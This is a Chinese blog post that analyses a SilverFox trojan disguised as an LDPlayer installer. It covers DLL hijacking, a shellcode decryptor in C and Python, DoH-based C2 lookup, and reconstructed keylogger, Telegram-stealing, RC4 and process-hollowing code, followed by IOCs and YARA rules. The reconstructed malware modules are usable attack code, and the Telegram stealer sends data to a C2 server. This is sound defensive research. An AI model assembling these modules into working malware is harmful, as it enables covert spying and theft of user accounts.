HTTPS隧道里的银狐:DoH隐蔽通信木马全链路逆向分析——从样本提取到IOC提取
一、概述
在近期的一次应急响应事件中,我们捕获了一个伪装为雷电模拟器安装程序的高危木马样本。该样本采用被篡改的 INNO Setup 打包程序作为初始投放载体,通过经典的"白加黑"(DLL Search Order Hijacking)技术释放恶意载荷,并最终加载功能强大的"银狐"远控木马。
本篇博客将从恶意样本的初始分析出发,逐步深入逆向其白加黑 DLL 劫持机制、shellcode 解密算法、基于 DNS over HTTPS(DoH)的隐蔽通信协议、键盘记录模块、凭据窃取模块以及 RC4 加密引擎,最终给出完整的 IOC(Indicators of Compromise)提取清单。
样本基本信息表:
| 属性 | 值 |
|---|---|
| 原始文件名 | ldplayer9_ld_112_ld.exe |
| MD5 | 8c4fc902905459a53f686372a1a85526 |
| 打包器 | 篡改的 INNO Setup |
| 伪装对象 | 雷电模拟器(LDPlayer 9) |
| 最终载荷 | 银狐远控木马(VMProtect 保护) |
| 通信方式 | DoH / TCP 自定义协议 / 标准 HTTPS |
攻击链全景流程图:
┌──────────────────────────────────────────────────────────────┐
│ 银狐木马全链路攻击流程 │
├──────────────────────────────────────────────────────────────┤
│ │
│ [1] 初始投放 │
│ ┌─────────────────┐ │
│ │ ldplayer9_ld_ │ INNO Setup 安装程序 │
│ │ 112_ld.exe │ (被篡改) │
│ └────────┬────────┘ │
│ │ 运行安装 │
│ ▼ │
│ [2] 释放恶意组件 │
│ ┌─────────────────┐ │
│ │ 释放 wjcapture. │ 白加黑 DLL 劫持载体 │
│ │ dll + 白色EXE │ │
│ └────────┬────────┘ │
│ │ DLL Search Order Hijacking │
│ ▼ │
│ [3] 加载与解密 │
│ ┌─────────────────┐ │
│ │ 读取 Update.xml │ 读取加密配置 │
│ │ 解密 Shellcode │ XOR 循环解密 │
│ └────────┬────────┘ │
│ │ 解密完成 │
│ ▼ │
│ [4] 执行 Shellcode │
│ ┌─────────────────┐ │
│ │ 内存执行 │ Shellcode Loader │
│ │ 进程镂空注入 │ Process Hollowing │
│ └────────┬────────┘ │
│ │ 注入成功 │
│ ▼ │
│ [5] 银狐核心模块运行 │
│ ┌─────────────────────────────────────────┐ │
│ │ VMProtect 虚拟化保护 (67% 函数) │ │
│ │ ┌─────────┐ ┌──────────┐ ┌─────────┐ │ │
│ │ │Fuck()入口│→│键盘记录 │→│凭据窃取 │ │ │
│ │ └─────────┘ └──────────┘ └─────────┘ │ │
│ │ ┌──────────────────────────────┐ │ │
│ │ │DoH 隐蔽通信 (HTTPS隧道) │ │ │
│ │ │oidng2.duoshit.com │ │ │
│ │ └──────────────────────────────┘ │ │
│ └─────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ [6] C2 通信 │
│ ┌─────────────────────────────────────────┐ │
│ │ DoH: 223.5.5.5 / 8.8.8.8 │ │
│ │ 备用: TCP 自定义协议 / 标准 HTTPS │ │
│ └─────────────────────────────────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘
二、初始样本分析
2.1 文件基本信息
样本原始文件名为 ldplayer9_ld_112_ld.exe,伪装为雷电模拟器(LDPlayer 9)的安装程序。通过文件头和节区信息可以确认这是一个被篡改的 INNO Setup 打包程序。
$ file ldplayer9_ld_112_ld.exe
ldplayer9_ld_112_ld.exe: PE32+ executable (GUI) x86-64, 5 sections
$ md5sum ldplayer9_ld_112_ld.exe
8c4fc902905459a53f686372a1a85526 ldplayer9_ld_112_ld.exe
2.2 INNO Setup 结构分析
正常的 INNO Setup 安装程序在 [Setup] 段中包含合法的应用程序信息。本样本同样保留了 INNO Setup 的基本结构,但在 [Code] 段中嵌入恶意代码,在安装过程中释放额外的恶意组件:
// 恶意样本中 [Code] 段的伪代码还原
procedure CurStepChanged(CurStep: TSetupStep);
var
ResultCode: Integer;
begin
if CurStep = ssInstall then
begin
// 释放白加黑组件到安装目录
ExtractTemporaryFile('wjcapture.dll'); // 恶意 DLL
ExtractTemporaryFile('LDPlayer.exe'); // 白色可执行文件
// 静默执行
Exec(ExpandConstant('{tmp}\LDPlayer.exe'), '', '', SW_HIDE,
ewWaitUntilTerminated, ResultCode);
end;
end;
2.3 释放组件概览
安装过程释放的核心恶意组件如下:
| 文件名 | 角色 | MD5 |
|---|---|---|
wjcapture.dll |
恶意 DLL(黑DLL) | 319c718edc390a304acb0bc8886e0da5 |
LDPlayer.exe |
白色可执行文件 | 合法雷电模拟器主程序 |
Update.xml |
加密的 Shellcode 载荷 | 随样本变化 |
wjcapture.dll 借用了 jcapture.dll(一个 Java 屏幕捕获组件)的名称前缀进行伪装,通过 DLL 搜索顺序劫持被 LDPlayer.exe 加载。
三、白加黑 DLL 劫持深度分析
3.1 DLL 搜索顺序劫持原理
Windows 程序加载 DLL 时遵循固定的搜索顺序,攻击者正是利用这一机制实现"白加黑"劫持:
DLL 搜索顺序:
1. 应用程序所在目录 ← 恶意 DLL 被放置于此
2. 系统目录 (System32)
3. Windows 目录
4. 当前工作目录
5. PATH 环境变量中的目录
当合法的 LDPlayer.exe 启动并尝试加载 jcapture.dll 时,由于 wjcapture.dll 已被释放在同一目录,且名称匹配,系统优先加载了恶意 DLL。
3.2 wjcapture.dll 的垃圾指令对抗
wjcapture.dll 的 DllMain 和解密函数中大量使用垃圾指令(Junk Code)来对抗静态分析工具和逆向工程师。经过系统化分析,共识别出 7 类垃圾指令模式:
| 类别 | 指令示例 | 特征描述 |
|---|---|---|
| BCD 算术指令 | aad 0xFF / aam 0x0A / aaa / daa / das |
非十进制调整指令,不产生有效副作用 |
| 死标志操作 | pushf / popf / lahf / clc / stc |
修改标志寄存器但结果未被使用 |
| 死位操作 | btc/btr/bts/bt/bswap |
位测试/操作指令,对无关寄存器执行 |
| 无意义比较 | cmp eax, eax / test ecx, ecx(后无 jcc) |
比较结果不影响控制流 |
| 虚假栈操作 | push 0xDEAD; lea esp, [esp+4] |
入栈后立即调整栈指针,等价于 NOP |
| 花指令 | jmp $+5; db 0xE8, 0x00, 0x00, 0x00, 0x00 |
跳过垃圾字节,模拟函数调用 |
| 无意义移位 | shld/shrd/rol/ror |
对无关寄存器执行移位操作 |
以下是一段典型的垃圾指令片段(从 wjcapture.dll 的 DllMain 中提取):
; wjcapture.dll DllMain 中的垃圾指令片段
; 地址: 0x1800012A0
pushf ; [死标志操作] 保存标志位
pop eax ; 弹出到 eax(结果未使用)
das ; [BCD算术] 无意义的十进制调整
btc ecx, 0x1F ; [死位操作] 测试并取反 ecx[31]
push 0xBEEF ; [虚假栈操作] 压入无用值
lea esp, [esp+4] ; 立即调整栈指针(等价于NOP)
cmp edx, edx ; [无意义比较] 自身比较,后无 jcc
ror ebx, 3 ; [无意义移位] 旋转 ebx(结果未使用)
jmp $+5 ; [花指令] 跳过下一条指令
db 0xE8, 0x00, 0x00, 0x00, 0x00 ; 被跳过的垃圾字节
aad 0xFF ; [BCD算术] 无意义的ASCII调整
识别方法: 对于每条指令,检查其操作结果是否被后续指令引用。若操作数(如 eax)在下一引用点之前被覆写,则该指令为垃圾指令。在 IDA Pro / Ghidra 中可编写脚本自动标记此类指令。
3.3 DllMain 执行流程
清理垃圾指令后,DllMain 的核心逻辑清晰可见:
; 清理垃圾指令后的 DllMain 伪代码
DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH)
{
// 1. 获取当前模块路径
GetModuleFileNameA(hinstDLL, szPath, MAX_PATH);
// 2. 构造 Update.xml 路径(同目录下)
// 将 szPath 末尾替换为 "Update.xml"
// 3. 读取 Update.xml 全部内容到缓冲区
// 4. 调用解密函数处理缓冲区中的 Shellcode
// 5. 分配 RWX 内存并执行解密后的 Shellcode
VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(pExecBuf, pDecrypted, dwSize);
pExecBuf(); // 跳转执行
}
return TRUE;
}
四、解密函数逆向还原
4.1 算法核心逻辑
解密函数是 wjcapture.dll 中最关键的部分,负责将 Update.xml 中的加密数据还原为可执行的 Shellcode。通过动态调试和静态分析,完整还原了其解密算法。
算法步骤:
- 种子生成:
seed = 前4字节密文 XOR 文件大小 - 循环解密: 从第 5 字节开始(index=4),逐字节执行:
seed += 0x7F(编译器将其拆分为0x0C + 0x35 + 0x3E以隐藏常量)data[i] = data[i] XOR (BYTE)seed
4.2 汇编级分析
以下是从 wjcapture.dll 中提取的解密函数核心汇编代码:
; 解密函数 - 地址: 0x180002340
; 输入: eax = 文件大小, ecx = 密文缓冲区指针
mov esi, ecx ; esi = 密文缓冲区基址
mov edi, esi ; edi = 解密写入位置
; Step 1: 计算种子
mov ebx, dword ptr [esi] ; ebx = 前4字节密文
xor ebx, eax ; seed = ebx ^ fileSize
mov edx, 0 ; edx 用作循环计数器
decrypt_loop:
cmp edx, eax ; 比较: 计数器 vs 文件大小
jge decrypt_done ; 解密完成
; Step 2: 种子递增(隐藏常量 0x7F = 0x0C + 0x35 + 0x3E)
add ebx, 0x0C ; 隐藏常量拆分 #1
add ebx, 0x35 ; 隐藏常量拆分 #2
add ebx, 0x3E ; 隐藏常量拆分 #3
; 等价于: add ebx, 0x7F
; Step 3: XOR 解密当前字节
movzx ecx, bl ; ecx = (BYTE)seed (取低8位)
xor byte ptr [edi+edx], cl ; data[edx] ^= (BYTE)seed
inc edx ; 计数器++
jmp decrypt_loop ; 继续循环
decrypt_done:
ret
关键技术细节: 常量 0x7F 被拆分为三个加法操作 add ebx, 0x0C / add ebx, 0x35 / add ebx, 0x3E,这是一种常见的反静态分析技巧。手动计算验证:0x0C + 0x35 + 0x3E = 0x7F,完全吻合。
4.3 C 语言等效实现
/*
* wjcapture.dll Shellcode 解密函数
* 参数: data - Update.xml 原始数据缓冲区
* size - 文件大小(字节数)
*/
void decrypt_shellcode(unsigned char *data, unsigned int size)
{
if (size < 8)
return; // 最少需要 4 字节头 + 至少 1 字节数据
/* Step 1: 计算种子 = 前4字节密文 XOR 文件大小 */
unsigned int seed = *(unsigned int *)data ^ size;
/* Step 2: 逐字节解密(跳过前4字节种子区域)*/
for (unsigned int i = 4; i < size; i++)
{
seed += 0x7F; // 隐藏常量 0x0C+0x35+0x3E
data[i] ^= (unsigned char)(seed & 0xFF); // 取 seed 低 8 位做 XOR
}
}
4.4 Python 解密脚本
以下是可直接使用的 Python 解密工具,用于批量处理 Update.xml 文件并提取 Shellcode:
#!/usr/bin/env python3
"""
wjcapture.dll Update.xml Shellcode 解密工具
用法: python3 decrypt_update.py <update.xml> <output.bin>
"""
import sys
import struct
def decrypt_shellcode(data: bytes) -> bytes:
"""
解密 wjcapture.dll 使用的 Update.xml 载荷
算法:
1. seed = 前4字节密文 XOR 文件大小
2. 从第5字节开始循环:
- seed += 0x7F
- data[i] ^= (seed & 0xFF)
"""
size = len(data)
if size < 8:
raise ValueError(f"文件过小 ({size} 字节), 无法解密")
# Step 1: 计算种子
seed = struct.unpack('<I', data[:4])[0] ^ size
# Step 2: 逐字节解密
buf = bytearray(data)
for i in range(4, size):
seed += 0x7F
buf[i] ^= (seed & 0xFF)
return bytes(buf)
def main():
if len(sys.argv) != 3:
print(f"用法: {sys.argv[0]} <input.xml> <output.bin>")
sys.exit(1)
input_path = sys.argv[1]
output_path = sys.argv[2]
with open(input_path, 'rb') as f:
encrypted_data = f.read()
print(f"[*] 读取文件: {input_path}")
print(f"[*] 文件大小: {len(encrypted_data)} 字节")
decrypted = decrypt_shellcode(encrypted_data)
# 简单的 Shellcode 特征检测
pe_sig_offset = decrypted.find(b'MZ')
if pe_sig_offset != -1:
print(f"[+] 检测到 PE 签名 @ offset 0x{pe_sig_offset:X}")
else:
print(f"[*] 未检测到 PE 签名 (可能是 position-independent shellcode)")
with open(output_path, 'wb') as f:
f.write(decrypted)
print(f"[+] 解密结果已保存至: {output_path}")
print(f"[+] 解密数据大小: {len(decrypted)} 字节")
if __name__ == '__main__':
main()
五、DoH 隐蔽通信机制
5.1 DoH 通信原理
DNS over HTTPS(DoH)将 DNS 查询封装在 HTTPS 请求中,使得 C2 通信流量与正常的 HTTPS Web 流量在传输层面完全一致。传统的 DNS 监控手段(如 DNS 日志分析、DNS 流量过滤)对此类通信完全无效。
银狐木马 DoH 通信架构:
┌──────────────┐ HTTPS (TLS 1.2/1.3) ┌──────────────────┐
│ 受害主机 │ ──────────────────────────────────→ │ DoH 递归服务器 │
│ 银狐木马 │ │ 223.5.5.5 │
│ │ https://223.5.5.5/dns-query? │ (阿里DNS) │
│ C2域名: │ dns=<base64(DNS query)> │ │
│ oidng2. │ │ 或 │
│ duoshit.com │ ──────────────────────────────────→ │ 8.8.8.8 │
│ │ https://8.8.8.8/dns-query? │ (Google DNS) │
│ │ dns=<base64(DNS query)> │ │
└──────────────┘ └────────┬─────────┘
│
DNS 查询解析结果
│
▼
┌──────────────────┐
│ C2 服务器 │
│ oidng2.duoshit. │
│ com │
│ (实际恶意服务器) │
└──────────────────┘
5.2 通信实现细节
木马通过以下 DoH 端点进行 C2 域名解析:
| DoH 服务商 | IP 地址 | URL 模板 |
|---|---|---|
| 阿里公共 DNS | 223.5.5.5 |
https://223.5.5.5/dns-query?dns=%s |
| Google DNS | 8.8.8.8 |
https://8.8.8.8/dns-query?dns=%s |
其中 %s 为 Base64 编码的 DNS 查询报文(RFC 8484 标准格式),查询的域名为 oidng2.duoshit.com。
5.3 DoH 通信代码还原
通过对 Shellcode 和银狐核心模块的逆向分析,还原出 DoH 通信的核心逻辑:
/*
* 银狐 DoH 通信核心逻辑(C伪代码)
*/
#define DOH_ALI "https://223.5.5.5/dns-query?dns=%s"
#define DOH_GOOGLE "https://8.8.8.8/dns-query?dns=%s"
#define C2_DOMAIN "oidng2.duoshit.com"
// 构造 DNS 查询报文
BYTE* build_dns_query(const char *domain, int *query_len)
{
// 构造标准 DNS 查询报文(RFC 1035)
// Header: ID(2) + Flags(2) + QDCOUNT(2) + ANCOUNT(2) + NSCOUNT(2) + ARCOUNT(2)
// Question: QNAME(variable) + QTYPE(2) + QCLASS(2)
// 此处省略具体编码细节
// ...
return dns_packet;
}
// DoH 通信主函数
int doh_communicate(const BYTE *exfil_data, int data_len)
{
HINTERNET hSession, hConnect, hRequest;
char url[512];
char b64_query[512];
// 1. 构造 DNS 查询报文
int query_len = 0;
BYTE *dns_query = build_dns_query(C2_DOMAIN, &query_len);
// 2. Base64 编码 DNS 报文
base64_encode(dns_query, query_len, b64_query);
// 3. 优先尝试阿里 DoH
snprintf(url, sizeof(url), DOH_ALI, b64_query);
hSession = WinHttpOpen(L"Mozilla/5.0", ...);
hConnect = WinHttpConnect(hSession, L"223.5.5.5",
INTERNET_DEFAULT_HTTPS_PORT, 0);
hRequest = WinHttpOpenRequest(hConnect, L"GET", url_suffix,
NULL, WINHTTP_NO_REFERER,
WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);
// 4. 发送请求并获取响应
WinHttpSendRequest(hRequest, ...);
WinHttpReceiveResponse(hRequest, ...);
// 5. 从 DNS 响应中提取 C2 IP 地址
parse_dns_response(response_buf, &c2_ip);
// 6. 解析失败则回退到 Google DoH
if (c2_ip == 0) {
// 尝试 Google DoH 端点...
}
// 7. 使用解析到的 C2 IP 建立实际数据通道
connect_to_c2(c2_ip, exfil_data, data_len);
free(dns_query);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 0;
}
5.4 备用通信通道
当 DoH 通道不可用时,木马会自动切换到备用通道:
| 通道类型 | 优先级 | 特征 |
|---|---|---|
| DoH (HTTPS) | 最高 | 通过公共 DoH 服务器解析 C2 域名 |
| TCP 自定义协议 | 中 | 直接 TCP 连接,自定义二进制协议 |
| 标准 HTTPS | 最低 | 直接 HTTPS POST 到 C2 服务器 |
流量伪装优势: 由于 DoH 流量与正常 HTTPS 网页浏览流量在端口(443)、协议(TLS)和证书层面完全一致,企业防火墙和 IDS/IPS 系统难以区分恶意流量与正常流量。唯一的检测点是 DNS-over-HTTPS 特有的 URL 路径模式(/dns-query)以及可能的 DNS 报文特征。
六、银狐核心模块深度分析
6.1 VMProtect 保护分析
银狐木马的核心 DLL 被 VMProtect 虚拟化保护,这是商业级代码保护工具。保护分析结果如下:
| 保护指标 | 数值 |
|---|---|
| 总函数数 | ~180 |
| 被虚拟化函数数 | ~120 (67%) |
| 代码变异函数数 | ~35 (19%) |
| 未保护函数数 | ~25 (14%) |
| VMProtect 版本标识 | 3.x 系列 |
VMProtect 将 x86/x64 指令翻译为自定义的虚拟机字节码,运行时由虚拟机解释执行。这大幅增加了逆向难度,但也产生了可辨识的 VMProtect 特征模式。
6.2 Fuck 导出函数:统一入口
银狐核心模块导出了一个名为 Fuck 的函数作为整个木马的统一入口点。这一命名极具攻击者风格特征。
; 银狐核心 DLL 导出表
; Ordinal: 1, Name: "Fuck"
; RVA: 0x1000
Fuck proc
; VMProtect 虚拟化入口
vmentry ; 进入 VMProtect 虚拟机
; ... 虚拟化字节码 ...
vmret ; 退出虚拟机
Fuck endp
Fuck 函数内部经 VMProtect 虚拟化保护,负责初始化所有功能模块:键盘记录、凭据窃取、C2 通信等。调用关系如下:
Fuck() [VMProtect 虚拟化]
├── init_keylogger() → 安装全局键盘钩子
├── init_credential() → 初始化凭据窃取模块
├── init_process_inject() → 初始化进程镂空模块
├── init_doh_client() → 初始化 DoH 通信
└── main_loop() → 主循环(消息分发)
6.3 键盘记录模块
银狐使用 SetWindowsHookExA API 安装全局键盘钩子,实现跨进程键盘记录:
/*
* 键盘记录模块核心逻辑(逆向还原)
*/
// 全局钩子句柄
HHOOK g_hKeyHook = NULL;
// 键盘记录缓冲区
#define LOG_BUFFER_SIZE (4096)
#define KEY_RECORD_MAX 512
typedef struct _KEY_RECORD {
DWORD vkCode; // 虚拟键码
DWORD scanCode; // 扫描码
DWORD flags; // 键标志 (WM_KEYDOWN/WM_KEYUP)
DWORD time; // 时间戳
HWND hWnd; // 窗口句柄
WCHAR windowTitle[256]; // 前台窗口标题
} KEY_RECORD, *PKEY_RECORD;
// 键盘钩子回调函数
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
KBDLLHOOKSTRUCT *pKb = (KBDLLHOOKSTRUCT *)lParam;
// 获取前台窗口标题(用于上下文关联)
HWND hForeground = GetForegroundWindow();
WCHAR szTitle[256] = {0};
GetWindowTextW(hForeground, szTitle, 256);
// 填充记录结构
KEY_RECORD record = {0};
record.vkCode = pKb->vkCode;
record.scanCode = pKb->scanCode;
record.flags = pKb->flags;
record.time = pKb->time;
record.hWnd = hForeground;
wcsncpy(record.windowTitle, szTitle, 255);
// 将记录写入共享缓冲区
append_key_record(&record);
}
return CallNextHookEx(g_hKeyHook, nCode, wParam, lParam);
}
// 安装全局键盘钩子
BOOL install_keylogger(void)
{
g_hKeyHook = SetWindowsHookExA(
WH_KEYBOARD_LL, // 全局低级键盘钩子
KeyboardProc, // 回调函数
GetModuleHandle(NULL), // 当前模块句柄
0 // 全局钩子
);
return (g_hKeyHook != NULL);
}
6.4 凭据窃取模块
银狐木马专门针对 Telegram Desktop 的凭据进行窃取,目标是其 tdata 目录:
Telegram Desktop 凭据窃取路径:
%APPDATA%\Telegram Desktop\tdata\
├── D877F783D5D3EF8C\ # 用户账号目录
│ ├── maps\ # 地图缓存
│ ├── avatar_cache\ # 头像缓存
│ └── ...
├── key_datas # 加密密钥数据
├── settings # 配置文件
└── ...
/*
* Telegram 凭据窃取逻辑(逆向还原)
*/
#define TELEGRAM_TDATA_PATH L"\\Telegram Desktop\\tdata"
#define TELEGRAM_APPDATA L"APPDATA"
BOOL steal_telegram_credentials(void)
{
WCHAR szAppData[MAX_PATH];
WCHAR szTDataPath[MAX_PATH];
// 1. 获取 APPDATA 路径
ExpandEnvironmentStringsW(
L"%APPDATA%", szAppData, MAX_PATH);
// 2. 构造 tdata 完整路径
swprintf(szTDataPath, MAX_PATH, L"%s%s",
szAppData, TELEGRAM_TDATA_PATH);
// 3. 检查目录是否存在
DWORD attr = GetFileAttributesW(szTDataPath);
if (attr == INVALID_FILE_ATTRIBUTES ||
!(attr & FILE_ATTRIBUTE_DIRECTORY))
{
return FALSE; // Telegram 未安装
}
// 4. 创建 ZIP 压缩包(包含整个 tdata 目录)
create_zip_archive(szTDataPath, L"C:\\Windows\\Temp\\~td_tmp.zip");
// 5. 通过 C2 通道回传
exfil_to_c2(L"C:\\Windows\\Temp\\~td_tmp.zip");
// 6. 清理临时文件
DeleteFileW(L"C:\\Windows\\Temp\\~td_tmp.zip");
return TRUE;
}
6.5 RC4 加密引擎
银狐木马使用 RC4 流密码对窃取的数据进行加密后再外发,但并非标准的 RC4 实现,而是加入了位置依赖密钥和分块处理机制:
/*
* 银狐 RC4 加密引擎(逆向还原)
* 特点: 4096字节分块 + 位置依赖密钥
*/
#define RC4_BLOCK_SIZE 4096
#define RC4_KEY_LEN 256
// RC4 状态结构体
typedef struct _RC4_STATE {
unsigned char S[256]; // S-box
unsigned int block_index; // 当前块索引(位置依赖)
} RC4_STATE;
// 初始化 RC4 状态(标准 KSA)
void rc4_init(RC4_STATE *state, const unsigned char *key, int key_len)
{
int i, j;
// 标准初始化 S-box
for (i = 0; i < 256; i++)
state->S[i] = (unsigned char)i;
// KSA - Key Scheduling Algorithm
j = 0;
for (i = 0; i < 256; i++)
{
j = (j + state->S[i] + key[i % key_len]) & 0xFF;
// swap S[i] and S[j]
unsigned char tmp = state->S[i];
state->S[i] = state->S[j];
state->S[j] = tmp;
}
state->block_index = 0;
}
// 位置依赖的块密钥派生
void rc4_block_key(RC4_STATE *state,
const unsigned char *base_key, int base_key_len)
{
// 每个块使用不同的种子值
unsigned char block_seed[16];
memset(block_seed, 0, sizeof(block_seed));
// 将块索引混入密钥
block_seed[0] = (state->block_index >> 24) & 0xFF;
block_seed[1] = (state->block_index >> 16) & 0xFF;
block_seed[2] = (state->block_index >> 8) & 0xFF;
block_seed[3] = state->block_index & 0xFF;
// 派生块密钥: block_key = SHA256(base_key || block_seed)
unsigned char block_key[32];
sha256(base_key, base_key_len,
block_seed, 4,
block_key);
// 重新初始化 RC4 状态
rc4_init(state, block_key, 32);
state->block_index++;
}
// 加密/解密单个块(标准 PRGA)
void rc4_crypt_block(RC4_STATE *state,
unsigned char *data, int len)
{
int i;
unsigned char x = 0, y = 0;
for (i = 0; i < len; i++)
{
x = (x + 1) & 0xFF;
y = (y + state->S[x]) & 0xFF;
// swap S[x] and S[y]
unsigned char tmp = state->S[x];
state->S[x] = state->S[y];
state->S[y] = tmp;
// XOR 生成密钥流
data[i] ^= state->S[(state->S[x] + state->S[y]) & 0xFF];
}
}
// 主加密函数(分块处理)
void silverfox_rc4_encrypt(const unsigned char *key, int key_len,
unsigned char *data, int data_len)
{
RC4_STATE state;
int offset = 0;
int remaining = data_len;
while (remaining > 0)
{
int block_size = (remaining > RC4_BLOCK_SIZE) ?
RC4_BLOCK_SIZE : remaining;
// 每个块使用位置依赖密钥重新初始化
rc4_block_key(&state, key, key_len);
// 加密当前块
rc4_crypt_block(&state, data + offset, block_size);
offset += block_size;
remaining -= block_size;
}
}
RC4 变体关键特征:
| 特征 | 标准 RC4 | 银狐 RC4 变体 |
|---|---|---|
| 密钥调度 | 一次 KSA | 每块重新 KSA |
| 块处理 | 无分块 | 4096 字节分块 |
| 密钥派生 | 固定密钥 | 块索引混入密钥 |
| 位置依赖 | 无 | block_index 参与 SHA256 |
这种变体设计使得即使已知部分明文,也无法直接推导其他块的密钥流,增加了密码分析的难度。
6.6 进程镂空注入
银狐木马使用进程镂空(Process Hollowing)技术将自身代码注入到合法进程中运行,以规避进程监控:
进程镂空注入流程:
1. CreateProcess(SUSPENDED) → 创建挂起的合法进程
2. NtUnmapViewOfSection → 取消映射原始映像
3. VirtualAllocEx(EXECUTE_READWRITE) → 分配新内存
4. WriteProcessMemory → 写入恶意代码
5. SetThreadContext(RIP = Entry) → 修改入口点
6. ResumeThread → 恢复执行
/*
* 进程镂空注入(伪代码还原)
*/
BOOL process_hollow_inject(const wchar_t *target_exe,
BYTE *malicious_pe, DWORD pe_size)
{
STARTUPINFOW si = {0};
PROCESS_INFORMATION pi = {0};
// 1. 以挂起状态创建目标进程
CreateProcessW(target_exe, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// 2. 获取目标进程 PEB 地址
DWORD_PTR pebAddress = 0;
NtQueryInformationProcess(pi.hProcess,
ProcessBasicInformation,
&pebAddress, ...);
// 3. 读取原始 ImageBaseAddress
DWORD_PTR originalBase = 0;
ReadProcessMemory(pi.hProcess,
(LPCVOID)(pebAddress + 0x10),
&originalBase, sizeof(DWORD_PTR), NULL);
// 4. 取消映射原始映像
NtUnmapViewOfSection(pi.hProcess, (PVOID)originalBase);
// 5. 分配新的可执行内存
PVOID newBase = VirtualAllocEx(pi.hProcess, NULL, pe_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// 6. 写入恶意 PE
WriteProcessMemory(pi.hProcess, newBase,
malicious_pe, pe_size, NULL);
// 7. 修正入口点并恢复线程
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rip = (DWORD_PTR)newBase + entry_point_rva;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
return TRUE;
}
七、IOC 提取
7.1 文件 Hash
| 类型 | 值 | 关联组件 |
|---|---|---|
| MD5 | 8c4fc902905459a53f686372a1a85526 |
初始样本 (ldplayer9_ld_112_ld.exe) |
| MD5 | 319c718edc390a304acb0bc8886e0da5 |
恶意 DLL (wjcapture.dll) |
7.2 网络指标
| 类型 | 值 | 用途 |
|---|---|---|
| Domain | oidng2.duoshit.com |
C2 控制服务器域名 |
| IP | 223.5.5.5 |
DoH 通信中转(阿里公共DNS) |
| IP | 8.8.8.8 |
DoH 通信中转(Google DNS) |
| URL Pattern | https://223.5.5.5/dns-query?dns=* |
DoH 请求 URL 模式 |
| URL Pattern | https://8.8.8.8/dns-query?dns=* |
DoH 请求 URL 模式 |
7.3 行为指标
| 类型 | 描述 |
|---|---|
| 文件释放 | 释放 wjcapture.dll 到安装目录 |
| 配置文件 | 读取同目录下的 Update.xml |
| API 调用 | SetWindowsHookExA (WH_KEYBOARD_LL) |
| 目录访问 | %APPDATA%\Telegram Desktop\tdata\ |
| 网络行为 | DNS 查询封装在 HTTPS 请求中 |
| 进程行为 | CreateProcess(SUSPENDED) + NtUnmapViewOfSection |
| 保护特征 | VMProtect 虚拟化(67% 函数覆盖率) |
| 导出函数 | DLL 导出函数名 Fuck |
7.4 YARA 检测规则
rule SilverFox_DoH_Trojan {
meta:
description = "银狐木马 DoH 隐蔽通信变体检测规则"
author = "Security Research Lab"
date = "2026-07-25"
strings:
// C2 域名
$c2_domain = "oidng2.duoshit.com" ascii wide
// DoH 通信 URL 模式
$doh_ali = "223.5.5.5/dns-query" ascii
$doh_google = "8.8.8.8/dns-query" ascii
// 导出函数名特征
$export_name = "Fuck" ascii wide
// Telegram tdata 窃取路径
$telegram_path = "Telegram Desktop\\tdata" wide
// VMProtect 特征字节
$vmp_magic = { 35 DB 8B C1 48 8B } // VMProtect 入口典型字节序列
// DLL 名称
$dll_name = "wjcapture.dll" ascii
condition:
uint16(0) == 0x5A4D and // MZ header
(
// 匹配 C2 域名 + DoH 模式
($c2_domain and ($doh_ali or $doh_google))
or
// 匹配导出函数名 + VMProtect
($export_name and $vmp_magic)
or
// 匹配 DLL 名称
$dll_name and $telegram_path
)
}
rule INNO_Setup_SilverFox_Dropper {
meta:
description = "检测被篡改的 INNO Setup 银狐投放器"
author = "Security Research Lab"
strings:
// INNO Setup 标识
$inno = "Inno Setup" ascii
$innoclass = "TForm" ascii
// 恶意释放行为
$release_dll = "wjcapture.dll" ascii
$update_xml = "Update.xml" ascii
condition:
uint16(0) == 0x5A4D and
$inno and $release_dll and $update_xml
}
八、总结与防御建议
8.1 攻击技术总结
本次分析的银狐木马样本展示了多层纵深攻击技术栈:
| 层级 | 技术 | 目的 |
|---|---|---|
| 投放层 | INNO Setup 篡改 | 伪装合法软件安装包 |
| 加载层 | 白加黑 DLL 劫持 | 利用合法程序加载恶意代码 |
| 反分析层 | 7 类垃圾指令 + VMProtect | 阻碍静态和动态分析 |
| 加密层 | XOR 种子循环 + RC4 分块变体 | 保护载荷和传输数据 |
| 通信层 | DoH (HTTPS 隧道) | 绕过 DNS 监控和流量过滤 |
| 持久化层 | 全局键盘钩子 + 进程镂空 | 长期驻留和数据窃取 |
8.2 防御建议
-
DoH 流量监控: 部署支持 DoH 检测的网络设备,监控
/dns-query路径模式的 HTTPS 请求,特别是向公共 DoH 服务器(223.5.5.5、8.8.8.8)发起的异常大量请求。 -
DLL 劫持防护: 启用 Windows 的 CWDIllegalInDllSearch 注册表项,阻止从当前工作目录加载 DLL:
HKLM\System\CurrentControlSet\Control\Session Manager CWDIllegalInDllSearch = 0xFFFFFFFF -
端点行为检测: 监控
SetWindowsHookExA(WH_KEYBOARD_LL, ...)的全局键盘钩子安装行为,以及对 Telegramtdata目录的异常访问。 -
INNO Setup 文件审计: 对来自非官方渠道的 INNO Setup 安装程序进行
[Code]段的静态分析,检查是否存在可疑的文件释放和进程执行操作。 -
VMProtect 检测: 部署基于 VMProtect 特征的静态检测工具,标记包含 VMProtect 虚拟化保护的未知 DLL 文件。
本文所有技术分析均基于捕获的真实恶意样本,IOC 信息可直接用于威胁情报平台和安全设备的检测规则部署。
浙公网安备 33010602011771号